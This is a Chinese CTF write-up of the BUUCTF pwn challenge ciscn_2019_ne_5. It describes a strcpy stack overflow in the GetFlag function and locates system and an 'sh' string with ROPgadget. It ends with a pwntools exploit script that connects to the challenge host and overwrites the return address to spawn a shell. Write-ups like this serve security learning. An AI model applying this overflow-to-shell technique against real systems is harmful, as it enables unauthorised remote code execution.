buuctf pwn20

ciscn_2019_ne_5 1

1.checksec

在这里插入图片描述

2.ida

在这里插入图片描述
该题逻辑为先输入admin password,如果admin passaord为administrator,则从下面选一个数执行对应的程序
1.Add a log.
2.Display all logs.
3.Print all logs.
0.Exit
通过分析可知4中的GetFlag中strcpy(dest, src);存在栈溢出漏洞,而dest距离栈底有0x48个单位长度,而src可以通过进入1,就可以输入src的值,而且执行完1后(即输入完src的值后)会自动返回到puts(“Input your operation:”);处来,然后继续输入v4的值。

从3中的Print()中发现有system()的调用,反汇编查看call _system的地址为0x80484D0
使用命令ROPgadget --binary pwn20 --string '/bin/sh’尝试寻找/bin/sh的地址,但没有找到,而sh可替换/bin/sh,故再使用ROPgadget --binary pwn20 --string 'sh’发现可以寻找到sh的地址0x080482ea
故此题的攻击逻辑为先进入1输入src的值(即payload),再接着进入4就可获取shell

exp

from pwn import*
p=remote('node4.buuoj.cn',28233)
sh_addr=0x080482ea 
sys_addr=0x80486B9
p.sendlineafter('admin password:',b'administrator')
p.sendlineafter('0.Exit\n:','1')
payload=b'a'*0x4c+p32(sys_addr)+p32(sh_addr)
p.sendlineafter('log info:',payload)
p.sendlineafter('0.Exit\n:','4')
p.interactive()

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值